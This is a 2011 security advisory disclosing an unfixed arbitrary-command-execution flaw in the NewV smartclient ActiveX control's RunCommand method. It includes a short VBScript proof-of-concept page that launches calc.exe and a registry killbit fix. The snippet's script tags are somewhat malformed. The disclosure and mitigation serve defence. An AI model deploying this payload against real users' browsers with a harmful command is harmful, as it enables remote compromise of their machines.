NewV: NewvCommon.ocx arbitrary command execution via the Runcommand attribute Jan 10 2011 07:56AM
yuguo cn gmail com
Vendor: NewV ( http:// www.newv.com.cn/ )
Product: NewV smartclient
Vulnerable Version:
Status: Not Fixed, Vendor Alerted
Risk level: High
Credit: Yu Guo(yuguo.cn#gmail.com)

An input validation issue exists in the NewV ActiveX Control.
The Runcommand attribute may allow attacker to run arbitrary command remotely.

<script language='vbscript'>
arg1 = "calc.exe"
<object classid='clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9' id='target' />
<script language='vbscript'>
target.RunCommand arg1

Set the Killbit for NewV CLSID?s:

.Reg file:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\ActiveX Compatibility\{0B68B7EB-02FF-4A41-BC14-3C303BB853F9}]
"Compatibility Flags"=dword:00000400


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